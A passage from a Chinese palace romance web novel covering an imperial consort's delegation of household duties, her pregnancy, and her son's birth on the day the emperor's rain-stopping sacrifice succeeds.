而此时的谢充媛根本就没听进星罗的话,她继续来来回回在院子里走了好一会儿,忽然就停了下来。
“吩咐云织看好二公主,你陪我去一趟昭贵妃娘娘的承乾宫。”
她转过身来看了星罗一眼,随即便转身进屋换衣裳去了。
承乾宫宫门外。
谢充媛赶到承乾宫的时候,意外地发现苏修媛居然也来了。
两人面对面互相看了一眼,都在彼此的眼睛里看出了迷茫。
“给苏修媛请安。”虽然心里有些慌,但是如今的谢充媛已经不是那个从前将喜怒哀乐统统放在脸上的人了。见到了比自己位份高的妃子,自然而然会记得请安。
“谢妹妹也来了。”苏修媛看了谢充媛一眼,便示意她起身,说话的语气也是如往常一样淡淡的。
随后两个人忽然就开始冷场起来,一时之间也不知道该说些什么了。
不过好在这尴尬的气氛并没有持续多久,不一会儿,含秋就出来通传,说昭贵妃娘娘请二位主子进去了。
“你们两人怎么一块儿来了?”眼见着两人前后脚入了殿来,夏韶宁的脸上倒是露出了一丝吃惊的表情,“本来准备明日找你们二人来说说话的,没想到两位姐姐倒是与本宫心意相通了一回。”
苏修媛和谢充媛站在下首,看着面前这位昭贵妃娘娘有孕之后的面色似乎比从前还要好了,忽然就惊觉后宫那些人的传言有多可笑了。
什么贵妃娘娘惹圣上不开心了,要失宠了。如今两人打眼瞧着眼前这位娘娘面色红润,心情尚好的模样,哪有一点儿要失宠的样子啊?
真真是人言可畏啊!
第两百零二章 各司其职
“不瞒贵妃娘娘,臣妾今日就是为了那协理六宫之权来的。”眼瞧着苏修媛一直不说话,一旁的谢充媛终于忍不住开口了。
听得谢充媛也是为着这件事情来的,苏修媛虽然没有说话,但是夏韶宁也看出了她面上那明显的不解。
夏韶宁没想过这两人居然是这种反应,心中想着难不成自己在这后宫里还真是霸权霸地太久了,搞得这后宫里的其他女人面对这到手的权利都是这般不敢相信的模样。
“哎,两位姐姐不必如此紧张。实在是如今本宫有孕,日常精力渐渐有些不济,所以才同圣上说了一声希望能让后宫中的姐妹们费点心思来帮帮本宫。”
夏韶宁朝着满脸戒备的两人露出了一丝亲切的笑容,这才终于将眼前两人的疑惑打消了一点儿。
“如此说来,是圣上亲自选中臣妾与谢妹妹来帮助娘娘的?”苏修媛抬头看了夏韶宁一眼,这会儿的脸色倒是比刚刚好了许多。
“那可不是?”夏韶宁点了点头,“圣上还夸苏姐姐最是细心,这协理六宫的事情交给姐姐,他可放心着呢!”
夏韶宁这人,一直以来就有个优点,她始终相信这个世界上没有永远的朋友,但是也没有永远的敌人。
不管自己从前与苏修媛闹过什么矛盾,如今要人家帮着自己做事,那她自然就会多说点别人爱听的话给人家听。
好听的话和委屈时的眼泪一样,要多少有多少,反正又不要钱。
“可是娘娘,臣妾与苏修媛在潜邸的时候就没做过这种管家的事情,如今六宫的事情可比在潜邸时要复杂多了,臣妾……实在怕做不好。”
其实谢充媛私心里对于圣上能将协理六宫之权交给她是十分激动的,哪怕只是要她给苏修媛打打下手,她也觉得开心。
若是她在昭贵妃生下孩子之前将这件事情做得好,说不准到时候圣上还能给她晋一晋位份。
等到她熬到了一宫主位,以后二公主才能有更好的婚事。
只是若是她做得不好……
“哎,谢姐姐不用担心这些,其实说起来,本宫当初不也是摸着石头过河吗?”
听得谢充媛的担忧,夏韶宁急忙对她摆了摆手,示意她无需担心这些。
“两位姐姐尽管放手去做,若是遇到很难决定的事情,让身边的人来同本宫说一声便是。”
有了夏韶宁这番话,苏修媛和谢充媛的心才渐渐放回了肚子里。
得到了自己想要得到的答案,两人也不准备继续叨扰夏韶宁了。只是略略在承乾宫坐了一会儿,这便前后脚离开了。
“含秋,你现在出去悄悄地跟着她们,等到她们两人从前头的甬道分开以后,你让谢充媛再折回来一趟。”
估摸着两人已经走了一会儿了,夏韶宁便对着含秋耳语了一番。
含秋会意,即刻去了。
不过一盏茶不到的时候,谢充媛便又跟着含秋回到了承乾殿。
“娘娘这是还有话要嘱咐臣妾?”谢充媛站在下首,盯着夏韶宁看了好一会儿,面上有些不解。
“谢姐姐不会觉得本宫待你真的同待苏修媛是一样的吧?”夏韶宁从上首走了下来,缓缓地走到了谢充媛的身边。
“本宫知道谢姐姐只是性子着急,但是本事还是有的。不管怎么说,您的父亲可是互市监,想必从小就对数字这些东西更敏感吧?”
其实夏韶宁还真不是为了哄着谢充媛帮她做事胡乱说的这句话,还记得上一次殿中省送东西来,谢充媛只是略略看着惜春与含秋清点了一遍东西,就能算出总数是多少。
后来含秋因为粗心漏了一件东西没有送进库房,谢充媛也是扫了库房一眼就发现了。
从那次以后夏韶宁才发现,这谢妩并不像她从前以为的只是个嘴巴比脑子快的人,她还是有些自己的优点的。
“娘娘这般夸臣妾,倒是夸得臣都有些不好意思了。”
此时的谢充媛面色微红,还真就一副不好意思的样子。原因无他,实在是在她的记忆里,鲜少有人这么夸自己。
年少的时候她其实就发现了自己对于与数字相关的事情很敏感,可是父亲和嫡母都觉得她不过一个六品官家的庶女,以后嫁人了大概率也是当个妾,日常生活中根本用不着这种本事。
于是渐渐的,便连她自己都忘了她还有这份本事。
“本宫从来不说假话,你有这方面的天赋,那如今就得利用起来。”说着,夏韶宁便从一旁的桌子上拿过了一本册子,递给了谢充媛。
“谢姐姐也知道,想要当好一个家,银钱之事是最不可出差错的。这是殿中省前几天送来的后宫上个月的开销,姐姐拿回去先看看,若是有哪里不明白或者发现了什么问题,随时来承乾宫找本宫便是。”
谢充媛看着眼前那本厚厚的册子,还是有些觉得难以置信。
“娘娘,这后宫开销可是宫中的机密,您就这般给了臣妾……,您就不怕臣妾转头就给公开了?”
“你不会的。”听得谢充媛这番话,夏韶宁忽然就笑了。
“协理六宫是多少人求都求不来的事情,圣上将这件事情交给姐姐与苏修媛,我敢保证这后宫里的其他人早就嫉妒得要吐酸水了。”
“若是你有一点没做好,你后头多的是人想要将你取而代之。再者就算是为了二公主,姐姐也会好好做的,对吧?”
说到这里,夏韶宁忽然抬起头来,神秘兮兮地看了谢充媛一眼,“难道姐姐就没想过有朝一日要成为一宫之主,成为二公主身后最有力的依靠吗?”
一席话落,谢充媛便彻底不出声了。
因为她忽然就明白了为何眼前这位昭贵妃娘娘许多年如一日地受圣上的宠爱了。
这位娘娘实在是将人心这件事情,拿捏得明明白白。
“谢姐姐擅长数字,苏姐姐心细擅长组织事务,有你们两个帮着本宫管理这六宫之事,本宫可就轻松多了。”
此时的夏韶宁似乎并没有看到谢充媛那认真思索的眼睛,她转过身来从妆奁里拿出了一对儿栩栩如生的珍珠玲珑八宝簪子,不由分说地就塞进了谢充媛的怀里。
“这两只簪子是从同一批珍珠里挑出最好的几颗做成的母女簪,姐姐带回去同皎皎一块儿戴着玩儿吧!”
第两百零三章 孕期日常
将手中的事情分了一大半给苏修媛与谢充媛以后,夏韶宁的生活忽然就空闲了下来。
说起来,这两人虽然嘴上说着怕自己做不好协理六宫的事情,但是光启年间的第一个新年,两人还是在夏韶宁的提点之下办得十分成功。
连萧祈安都惊觉他这后宫里的女人们,好像也不是日日只会做些争风吃醋的事情的。
或许她们在某些方面的确不太讨自己喜欢,但是对于那些安安静静不惹事的女人,该有的体面他还是愿意给的。
于是,光启二年就这样热热闹闹地到来了。
四月,天气渐渐温暖了起来,后宫里的女人们也终于脱下了冬装,换上了轻薄的春装。
夏韶宁如今已经有将近七个月的身孕了,肚子越发变得沉重了起来。
“娘娘,您如今已经到了孕后期了,在吃食上……还是控制些好。”
辛夷站在桌子前,看着夏韶宁今日午膳已经吃了半只松鼠鳜鱼、一个拳头大小的红烧狮子头、一碗熬得浓浓的莲藕排骨汤以及好几样小糕点了,终于忍不住出声提醒起来。
“嗯?怎么不知不觉就吃了这么多了?”
听得辛夷的提醒,夏韶宁这才放下了手里的筷子,有些遗憾地摸了摸自己的肚子。
“您孕早期的时候总是吃不下东西,我便在您的保胎药里头放了一些开胃的药。如今瞧着您的胃口好多了,这开胃的药还是不加的好。”
辛夷对着夏韶宁解释了一番,夏韶宁便明白了过来。
“行吧,吃多了到时候孩子养得太大了也不好生,还是控制些好。”
夏韶宁嘴上虽然是这么说的,但是那双眼睛还是恋恋不舍地盯着桌上的菜看了许久,最终还是叹了口气将目光收了回来。
用了晚膳休息了一会儿,夏韶宁便准备给孩子做衣裳,忽然就听得耳边传来了一阵急匆匆的脚步声。一抬头,果然瞧见萧祈安风尘仆仆地朝着她走了过来。
“今日事情多,耽误了一会儿,宁儿等久了吧?”
萧祈安一入了殿来,便立刻到净房去洗了手,随后便对着身边的宫人们摆了摆手,内殿伺候的人便陆续退了出去。
“没有,臣妾用了晚膳去小花园里散了会儿步,这才刚刚歇下准备给孩儿做件小肚兜,陛下这就来了。”
夏韶宁将手中那个绣了一半的肚兜举到了萧祈安的面前,笑嘻嘻地问道,“陛下觉得臣妾绣得好不好?”
“嗯……比几年前你给朕绣的那个像鸭子的鸳鸯荷包好多了。”
萧祈安看了看眼前的小肚兜,眼里忽然就露出了一丝难掩的笑意,“其实有些事情……宁儿可以交给专业的人去做的,宫里不是有尚衣局吗?”
“陛下又在拐着弯嘲笑臣妾了!”
听得萧祈安又提起了她从前的“黑历史”,夏韶宁气得一把就将肚兜收了回来。
“说起来我也就不明白了,账本那么难看明白的东西我都能看懂,这小小的刺绣怎么就是弄不明白呢?”
夏韶宁一边说,一边将手中的肚兜举起来看了看。
说起来她本来是准备在这肚兜上绣一只小老虎的,因为算一算她的孩子刚好就是属老虎的。可是如今看着这绣了一半的“老虎”,怎么都觉得像一只有点可爱的……猫?
“行了,朕前段时间问过太医令了,都说妇人有孕的时候要少用眼,不然到时候生完孩子要眼睛疼的。”
萧祈安将夏韶宁手中的肚兜抢了过来,塞进了一旁的针线篓子里,柔声道,“绣两件意思一下就好了,仔细伤了眼睛。”
“对了,朕今日来倒是有件事情要同宁儿商量。”
萧祈安一手搂着夏韶宁,一手从腰间拿出了一张纸,铺在了夏韶宁的眼前。
“嗯,这是什么?上头还有字呢?”
夏韶宁支起身子,这才瞧见那张纸上倒是密密麻麻写了挺多字的。
“这是朕给咱们的孩儿取的名字。”
萧祈安搂着夏韶宁的肩膀,伸出食指一个名字一个名字地指了过去。
“因为也不知道是男孩还是女孩,所以男孩女孩的名字朕各自都取了三个,今日拿来给宁儿瞧瞧,让你这个母妃来决定。”
听得萧祈安这番话,夏韶宁瞬间就来了精神。
只见她拿起那张纸端详了一会儿,口中缓缓念道,“男孩,萧衡麟/昀/琛,女孩,萧心钰/昭/华……都是很好的名字呢,陛下有心了。”
“朕从前一直觉得自己文韬武略无所不知,可是为了给咱们的孩儿想名字,朕可谓煞费苦心了。宁儿别看就这六个字,朕可是足足想了一周,这才堪堪选出了几个觉得合适的拿给你看的!”
这会儿的萧祈安,对着夏韶宁说话的语气和与其他人说话的语气完全不同。
夏韶宁总觉得这会儿的萧祈安好像一只做了好事想向他要奖励的大狗狗。想到这里,她再也忍不住了,“噗呲”一声就笑了出来。
“你笑朕?宁儿你居然笑朕?!”看着夏韶宁好端端的居然对着自己笑了起来,萧祈安这会儿倒是觉得更委屈了。
“朕这么努力给咱们的孩子想名字,宁儿还笑朕,你……”
夏韶宁就这样看着萧祈安,不知为何忽然就觉得,她隔了这么多年才决定生孩子,是个多么正确的决定。
如今的萧祈安,才是真真正正懂得要如何做一个好父亲了。她也相信等到她肚子里的这个孩子生下来,他/她一定能得到满满的父爱母爱。
也算弥补了她前世亲情缘浅的这个遗憾了。
“陛下别生气了。”夏韶宁笑了好一会儿,忽然就伸过头去对着萧祈安的唇轻轻啄了一下,还没等萧祈安反应过来,夏韶宁便伸出食指指着那张纸道——
“若是男孩,就叫萧衡昀,若是女孩,就叫萧心华。这两个字很大气,臣妾很喜欢。”
“宁儿辛苦为朕生儿育女,只要你觉得好就行,朕没有异议。”
眼见着夏韶宁脸上满满的都是笑意,不知为何,萧祈安忽然觉得自己也被感染得变得没来由的开心起来。
这样的生活,可真好啊!
第两百零四章 大雨
进入七月,金州城的一场大雨忽然打得所有人措手不及。
因为往年这个时候的金州城是基本上不下雨的。
一开始下雨的时候,不管是农户还是百姓都十分开心。因为金州的夏天年年气温都很高,也容易闹旱灾,夏天有雨,对所有人来说都是好事。
农户有足够的水源可以灌溉庄稼,普通百姓也不用遭受酷暑的煎熬。
可是随着这雨连绵不绝下了半月还没有停歇的意思,众人渐渐便觉得这雨下得似乎有些不同寻常起来。
紫宸殿。
这日大朝会之后,萧祈安特意将自己信任的几个重臣召到了紫宸殿,商量一下到底应该如何应对金州城这场大雨。
“陛下,金州城这雨已经断断续续下了半个来月了,若是再下下去,金州怕是也要同从前的江州一样闹洪灾了!”
丞相燕川站在最前头,面上露出的是深深的担忧神情。
“这下雨和干旱是最难处理的两种自然灾害了,老天爷他是要下雨还是要停雨,那自然还是老天爷说了算啊!”
这会儿说话的,是正四品黄门侍郎范连溪。他同燕川一样,是坚定的“保皇党”,任何事情都无条件站在萧祈安一边,所以萧祈安也十分地信任他。
“如今还尚未出现洪涝,朕只能吩咐工部的人将金州城内外的江河湖周围加固一番,堤坝也要日日派人去巡查。只是这雨若是一直这样下个不停,眼下正是农户们插秧苗的时候,下半年的粮食收成怕是要受影响了。”
萧祈安看着窗外的雨,心中也如同这细细密密的雨丝一般有些烦躁。
他登基堪堪一载,就逢这诡异的天气。若是这雨真的一直下个不停,时间久了怕是难免有人要用这场雨来做文章了。
“陛下,臣倒是有个建议,只是不知可不可行。”
眼见着萧祈安的脸色越来越难看,如今已经是恒王的四皇子萧祈渊适时开口了。
“以往若是碰到了这种极端天气,先祖们都会在祭坛上祭祀,以求老天保佑,停止目前这一切。”
“既然圣上说了这场雨会影响农户们插秧苗,臣斗胆提出一个建议,陛下不如让礼部的人在金州郊外的农田附近设一个祭坛,让所有农户们看到陛下向上天求雨停的决心。如此这般,就算这场雨真的不停,农户和百姓们也知道陛下的心中一直都在想着他们,并没有不管不顾他们。”
恒王一开始提出要祭祀的时候,萧祈安面上还有不以为意。虽然他是大容的君主,但是其实他从心底里是不大相信这些鬼神之事的。
可是直到恒王说出要将祭坛设置在农田附近,萧祈安才渐渐露出了笑脸。
要不怎么说四哥是个聪明人呢,他心中想到却不好明说的事情,四哥还真就帮他说出来了。
毕竟在这个世界上,鬼神,哪有人心重要。
“众卿觉得恒王这个提议如何?”
听得恒王的话,萧祈安并没有直接开口回答说好还是不好。他只是托着下巴微微思考了一番,转过身来以一副询问的姿态朝着在场的其他人问道。
燕川和范连溪互相对视了一眼,又看了看站在一旁的恒王与定王(七皇子萧祈盛),却见两位王爷的脸上都是一派镇静自若的样子,他们瞬间就明白了。
这件事情虽然是恒王提议的,只是怕是圣上心中早就有此想法了。
“臣等觉得恒王的提议很好!”几乎没有思考,燕川便上前对着萧祈安拱了拱手,“只是若是要祭祀,还是要让司天台算一个好日子,再叫礼部去操办才好。”
“嗯,既然众卿都无异议,那就这么办!”
萧祈安微不可闻地点了点头,随即转身对着张全和吩咐道,“一会儿让司天台的监正来一趟紫宸殿。”
不过两刻钟后,司天台的袁监正就来了紫宸殿。
“朕打算过几日去京郊祭祀,祈求上天让这场大雨尽快停止。你算个好时间,朕好让礼部的人去准备。”
萧祈安站在上首,朝着袁监正道,“最好就在最近的日子里挑一天合适的,这雨下得实在太久了,拖不得了。”
袁监正看着圣上面前一幅焦虑的神情,也明白他的确被这场大雨折磨得身心都十分的不舒服。
于是他先是将随身携带的册子拿出来仔细看了一眼,又捏着手指细细算了好一会儿,最后便对着萧祈安道,“回禀陛下,七月廿六是个大吉的好日子,宜祭祀。”
“七月廿六?”听得袁监正的话,萧祈安的眉头却忽然皱了起来。
倒不是他对于这个日子有什么不满,实在是几天前辛夷就同他说过了,夏韶宁的预产期好像就在七月廿六这一天。
“再早些的好日子没有了?”萧祈安掰着指头算了算,如今离七月廿六还有差不多十日呢。
“回陛下,最近半月只有七月廿六这一日是主大吉宜祭祀的好日子。若是错过了这一日,怕是要等上十天半个月才有这么好的日子了。”
袁监正并不知道萧祈安心里在考虑什么,虽然见着圣上听完他的话眉头就皱了起来,他还是选择了实话实说。
毕竟他的本职工作就是窥天相,算日子的。
“行,既然这样,那就定在七月廿六吧。”
只是略微思考了一会儿,萧祈安就做出了决定。
虽然他也很想陪着夏韶宁生产,但是身为帝王,他还有更多更重要的事情需要去做。
……
晚间的时候,萧祈安去了承乾宫陪夏韶宁用晚膳。
夏韶宁如今已经足月了,辛夷说她随时都有可能会生产。
前几个月她的胃口尚好,辛夷生怕她吃多了孩子太大了,如今要生了,她的胃口反而变得不好了。
萧祈安虽说是陪她用晚膳,可是这会儿的夏韶宁也只是喝了一碗汤就觉得饱了。
“吃得这样少?”萧祈安看着夏韶宁只喝了一碗汤就再动筷了,便有些心疼起来,“从前都不知道,妇人怀孕如此辛苦,宁儿受苦了。”
“这都不算什么呢,到时候生孩子的时候才是一脚踏入鬼门关呢!”
夏韶宁只要想到还有不到十天她就要生孩子了,心中莫名觉得有那么些隐隐约约的不安。
“宁儿……朕今日来其实是有件事情要同你说……”
第两百零五章 祭祀
萧祈安看着夏韶宁面上的恐惧不是假的,又想到自己可能没办法陪她生产了,心中越发觉得愧疚起来。
“这雨下得实在太久了,久得已经不正常了。所以朕让司天台挑了个好日子,打算去京郊摆个祭台向上天祈福。”
“只是司天台算出最适合祭祀的日子正好是七月廿六,那么巧就与你的预产期碰到一起了……”
说到这儿,萧祈安便有些说不出话来了。
毕竟之前他曾信誓旦旦地向夏韶宁保证过,等到她生孩子的时候自己一定会全程守在她身边。可是如今却……
“陛下也将臣妾想得太脆弱了吧!您可是大容的君主,就算是臣妾要生孩子,那也比不上国事重要啊!”
“再说臣妾身边有辛夷,有太医院的太医们,还有那么多经验丰富的接生嬷嬷与稳婆,您还有何好担心的呢?”
夏韶宁看着萧祈安一副有些不敢面对自己的样子,忍不住就笑了。
一直以来,她都是个理智大于情感的人。对她来说,生孩子这种九死一生的重要时刻,比起萧祈安这种什么都不懂的人,她更愿意辛夷以及太医还有接生嬷嬷等专业人士陪在她的身边。
毕竟,这辈子大概也就生这么一次孩子了,她总得确保一切都万无一失才好。
“宁儿真的不怪朕?”听得夏韶宁这般语气轻松的话,萧祈安的面上仍旧有些怀疑,“你这丫头别这时候说得好好的,等到后面再来与朕秋后算账,那朕可不依啊!”
“呀,臣妾哪儿就是这么小气的人了!”
看着萧祈安一脸怀疑地看着自己,夏韶宁气得伸出手来就在萧祈安的手臂上拧了一下。
“行了,您不能陪臣妾生孩子,臣妾也拧了您一把,咱们两人这就算打平了!您看行不行?”
“你这丫头,一天天的哪儿来那么多鬼点子!”
夏韶宁这一把拧得可不轻,萧祈安的手臂肉眼可见地红了起来。只是这会儿的萧祈安非但没生气,心里还觉得甜蜜蜜的。
看来宁儿真的没有生他的气。
“陛下您就放心去祈福便是,若是真能让上天看到您的诚意,早日停雨放晴,这对臣妾与孩子来说也算是功德一件了。”
提起孩子,夏韶宁的脸色瞬间温柔了起来。
过了没一会儿,又见夏韶宁忽然抓住萧祈安的手,轻柔地放在自己如今已经隆得很高的肚子上,笑嘻嘻地对着萧祈安道,“陛下您看!孩子动啦,他/她也觉得母妃说的话很对呢!”
***
时间一晃而过,很快就到了七月廿六,萧祈安去京郊祈福的日子。
为表自己对上天的诚意,萧祈安提前三日斋戒,祈福当天更是沐浴焚香,将仪式做得足足的。
萧祈安当然不能确定今日所谓的祈福能不能让这雨停下来。他只知道今日一番前去,必定要让所有农户和百姓看到他的诚意,如此也不算白去这一趟。
金州郊外。
京郊这一片的农田是最多的,所以萧祈安与礼部商量了以后,便让礼部把祭祀台搭在了这里。
早几日前金州城的百姓们就听说了圣上今日要来京郊祭祀,祈求上天赶快停雨,免让金州城的百姓受洪涝以及断粮之苦。
所以真正到了祭祀这一天,祭祀台的周围早就已经里三层外三层聚集了许多人了。
其实萧祈安当初还是贤王的时候,因为接连破了两桩贪污腐败的大案子,为人又最是谦和,所以他在坊间的名声一直都很好。
只是随着他登基以后这场突如其来不停歇的大雨,渐渐地,百姓们对他这个皇帝也难免有了怨言。
“这次的祭祀搞得这么大的排场,你们说有没有用啊?老天真能因为圣上在这上个香跪一跪,就让这下了快一月的雨停了?”
“切,上头那群人不就最爱搞这种装模作样的事情,你眼睛看着圣上是来祈福,谁知道他们心里打着什么其他算盘呢!”
“哎,你们少说几句吧!你们没瞧见如此大的雨,圣上连伞都不让人给他撑!这老天爷下不下雨,下多久的雨,那也不是圣上一个凡人能决定的啊!今日来了那么多上头的人,我劝你们嘴上还是多个把门的吧!”
……
这会儿的萧祈安正冒雨跪在祭台前的蒲团上,身上那身明黄色的朝服早就已经被雨给淋得透透的了。
他闭着眼睛虔诚地跪着,对于耳边传来的百姓的闲言碎语置若罔闻。
张全和就站在他的身边,看着那豆大的雨点接连不断地打在萧祈安的身上,心疼得不得了。只是他几次三番拿来了伞想替圣上撑着,都被圣上倔强地推开了。
“皇天在上,后土为证!这雨下得田亩泡烂,百姓叫苦,定是朕德行不够,触怒了上天。今儿备下祭品,诚心祈求老天爷收了雨吧!朕愿减吃穿、免赋税!只求老天让这雨停下!别再让大容的百姓们受苦了!”
与此同时,承乾宫内。
今日一大早起床以后,夏韶宁就觉得自己的肚子有些不对劲。
勉强在宫女的服侍下洗漱完毕再用过了早膳,夏韶宁忽然觉得自己似乎有些支撑不住了。
因为已经到了夏韶宁的预产期,所以这段时间辛夷几乎十二个时辰寸步不离地守着她。一见着夏韶宁的脸色不对,辛夷立刻就警觉了起来。
“娘娘,您怎么了?是哪里不舒服吗?”
“我觉得……肚子发硬,胀得很疼……辛夷,我是不是要生了?”
虽说夏韶宁自从知道自己有孕了以后,足足给自己做了将近十个月的心里建设。可是这会儿真的要生了,她忽然就觉得头脑一片空白,什么都想不起来了。
“娘娘您别怕,您先放松,就算是要生了,头胎也没有那么快的!”
眼见着夏韶宁的脸色变得蜡白,辛夷急忙上前一把就将她稳稳地扶住了。
只是还没等两人喘上一口气,夏韶宁忽然觉得身体里有个什么东西“砰”的一声破了!
再低头,就看见自己的下身正源源不断地往外流着水。
“不好,娘娘破水了!快,赶快将贵妃娘娘抬到产房去!娘娘要生了!”
第两百零六章 夏韶宁生产
随着辛夷的这一句洪亮的叫喊声,承乾宫上下都立刻行动了起来。
夏韶宁被几个贴身宫女架着送进了早就准备好的产房,太医和接生嬷嬷立刻跟着辛夷一道入了产房。
一开始的夏韶宁只是觉得肚子有些发紧,疼痛感还不是那么的明显。可是随着她的羊水破了以后,那持续的疼痛便犹如海浪般一般一阵又一阵地朝着她袭来,仿佛根本就没有停歇一般让她连缓一缓的时间都没有。
“疼……”夏韶宁躺在产床上,死死抓住了辛夷的手不肯松开,如今的脑海中也就只剩下了一个疼字。
“娘娘,我知道您疼,但是如今您才刚刚发动,产程还有很长的时间。您别喊,咱们省着些力气早点将小主子生出来好吗?”
辛夷感受到了夏韶宁死死拉住她的手用了多大的力气,心中便也明白娘娘这会儿怕是真的很紧张。她生怕夏韶宁会大喊大叫浪费了力气,这在生孩子的时候可是大忌。
“我……不叫,我会忍住!只是……你们一定得保我的孩儿平安!”
这会儿的夏韶宁,头脑早就清醒了过来。又听得辛夷这千叮万嘱,她便硬生生将那些喊叫忍住了。
看着夏韶宁这番坚定的模样,辛夷忙不迭地点了点头,又转身从一旁的药箱里拿出了一片参片塞进了夏韶宁的嘴里。
“娘娘,您喊着这片参片吊着一口气,咱们现在开始慢慢调整呼吸!吸气,呼气!很好,再来一次……”
……
承乾宫的昭贵妃要生产的消息,不大一会儿就传得满宫都知道了。
这会儿最坐立难安的除了正在生产的夏韶宁本人,怕就是绛雪轩的谢充媛了。
“母妃,昭母妃要生弟弟了吗?”
三岁的二公主从院子里跑了进来,就瞧见母妃正在屋子里走来走去,于是一把就拉住了谢充媛的手。
“皎皎刚刚瞧见贤妃娘娘已经从霁月殿出去了,她是不是也是去看昭母妃生弟弟去了?”
“什么?贤妃往承乾宫去了?”听得二公主的话,本来心里就有些慌张的谢充媛的面色变得更加苍白起来。
“主子,其他宫里的主子们也都陆陆续续往昭贵妃那儿去了。”正说着话呢,便瞧见星罗从外头神色复杂地走了进来,“咱们要不也去吧……”
“去,当然要去!你忘了当年苏修媛和孝端皇后生二皇子和三皇子的时候是什么光景了吗?如今圣上不在宫里,太后又不爱管这些事儿,我必定要好好守着贵妃娘娘生产才是!”
经过这些年的成长,现在的谢充媛早就不是从前那个没脑子的草包了。昭贵妃对她有恩,从潜邸到皇宫里又一次次明里暗里地帮了她许多,她谢妩虽然脾气不好脑子也不聪明,但却不是个知恩不图报的人。
那么现在,她报恩的机会终于来了!
“星罗带着皎皎跟我一道去承乾宫,云织去通知一下苏修媛!虽说我与她如今手中都握着协理六宫的权利,但是不管怎么样她位份比我高,有些事情还是她出面比较好。”
对着两个贴身宫女吩咐完这些事,谢充媛牵起二公主的手就往外走去。
果然,当谢充媛紧赶慢赶赶到承乾宫的时候,唐贤妃,许昭容和吴美人已经到了。
只是这会儿三个人正被兰芷“礼貌”地挡在了承乾宫的宫门口,一个都没让进去。
“昭贵妃娘娘如今正在生产,各位娘娘主子若是无事还是不要随意进去打扰得好。”
兰芷带着李顺挡在宫门前,说话的语气虽然恭敬,但是身子却没有一丝要往旁边挪走的意思。
“你这宫女好大的胆子!本宫好歹也是四妃之一,如今想要进这承乾宫,还要你一个宫女允许不成?!”
看着兰芷这般样子,唐贤妃气急,说话间就要让身边的宫女冲上去教训人了。
“贤妃娘娘生这么大气做什么?昭贵妃生产是大喜事,您在娘娘的宫门口教训她身边的大宫女,似乎不大好吧?”
眼见着唐贤妃身边的霞光抬手就要往兰芷面上扇巴掌,谢充媛立马上前一把就将霞光的手抓住了。
“你一个九嫔最末的充媛也敢拦着本宫教训宫人?你出手之前怎么也不掂量一下你自己配不配的吗?!”
唐贤妃不屑地瞥了谢充媛一眼,说话的语气里满是嘲讽。
“别以为圣上给你个协理六宫的权利你就觉得自己高人一等了!说难听点圣上看重的本来就是苏修媛,你不过是个捎带脚的,还真把自己当盘菜了!”
“你……”
谢充媛虽然一开始满脑子都是要拦着这群女人不让她们入了承乾宫打扰贵妃娘娘生孩子,但是头脑这种东西是天生的,哪怕她这几年脾气性格都收敛了不少,但是如今被唐贤妃这般指着鼻子骂,她一下子还真想不到要如何回嘴了。
“给贤妃娘娘请安,给许昭容请安。”
两人这头正是一副剑拔弩张的样子,却听得身后传来了一阵清冷的声音。众人回头,瞧见的就是姗姗来迟的苏修媛。
这会儿苏修媛面带微笑,缓步走到了众人的面前。而也不知道她是有意还是无意,她走上前来直接就站在了谢充媛的面前,就这样将谢充媛与满脸怒气的唐贤妃隔开了。
“圣上离宫去京郊祭祀的时候,曾经嘱咐过臣妾要看好这宫里的事情。特别是昭贵妃娘娘随时都有可能会发动,所以早就同臣妾与谢充媛交代了要守着贵妃娘娘的承乾宫。”
“谢充媛你也是的,难不成是听闻贵妃娘娘要生产你就慌了,怎么连圣上交代的如此重要的事情都忘记告诉贤妃娘娘了?”
苏修媛一边说,一边转头对着站在她身后的谢充媛使了个眼色。
“啊……都怪臣妾脑子不好,这事情一多,臣妾就给忘了……”
谢充媛就算再笨,这会儿也看明白了苏修媛是在帮自己说话,于是便也立刻接过她的话顺着说了下去。
果然,刚刚面对谢充媛还一幅趾高气扬样子的唐贤妃,听得苏修媛将圣上搬了出来,立刻就不说话了。
“不进去就不进去,生个孩子而已,谁不会生一样!”
唐贤妃吃了瘪,转头就准备带着霞光离开。
而就在这个空档,承乾宫里忽然传出了一阵十分响亮的婴儿啼哭声!
不一会儿,便见蕙心兴高采烈地从产房里小跑了出来,对着李顺大声道,“娘娘生了个小皇子,母子平安!你快去京郊通知圣上!”
第两百零七章 祥瑞
因为萧祈安离宫的时候特意交代过看守宫门的侍卫,今日若是承乾宫的宫人要出宫万万不得阻拦。所以李顺十分顺利地就出了宫门,坐上马车径直就往京郊的祭祀台去了。
“陛下,陛下!”一路紧赶慢赶终于赶到了京郊,隔得老远,李顺便朝着前头被人群围着的萧祈安大声喊道,“回禀陛下!昭贵妃娘娘生了,是个小皇子,母子平安!”
这厢的萧祈安已经在那细细密密的雨中跪了好几个时辰了,听得李顺的声音,他下意识地就从蒲团上站了起来。
而就在他从地上站起来的一瞬间,天空中飘飘洒洒下了近一月的雨忽然就停了下来!
天空中那厚重的乌云也不知何时散开了,久违的阳光终于毫无保留地撒在了田间地头!
“雨停了!雨停了!出太阳了!出太阳了!”
“我们的庄稼有救了!下半年不用闹饥荒了!”
“定是圣上的诚心感动了上天,是新出生的小皇子给我们带来了阳光和希望!”
……
农户和百姓们看着天空中那久违的太阳,每个人的脸上都露出了灿烂的笑容。刚刚还在私底下叨叨说萧祈安装模作样的那些人,不知何时也悄悄地离开了。
而也不知道是谁带的头,刚刚还在感叹终于雨停的百姓们,忽然齐刷刷地就朝着祭台上的萧祈安跪了下来。
“圣上仁德!圣上仁德!大容有如此好的皇帝,简直是百姓之福啊!”
站在祭台上的萧祈安,看着眼前乌乌泱泱跪了一地的百姓,此时的心情不可谓不激动。
说实话,他原本真的没对今日的祭祀报什么期望的,只是想着有了今日的这番动作,也不至于让百姓对他失去信心。
可是就是这么巧,宁儿与他的孩子刚刚出生,这个最棘手的问题居然就这样迎刃而解了,他心中更是对这个素未谋面的孩子越发喜爱了起来。
“快起来,大家都快起来!”暂且将心中的激动按下,萧祈安急忙对着跪下的百姓摆了摆手,随后朗声道——
“六皇子降生,延绵一月的雨水终于停歇,朕心中欢喜得很!刚刚祭祀的时候朕说了,只要这雨停了,朕愿意减轻赋税!既然上天看到了朕的诚心,那朕便决定从下月起连续三年在如今赋税的基础上再减轻三成赋税!还望上天保佑我大容日后风调雨顺,再不受洪涝和干旱之苦!”
“圣上圣明!圣上圣明!”
***
承乾宫。
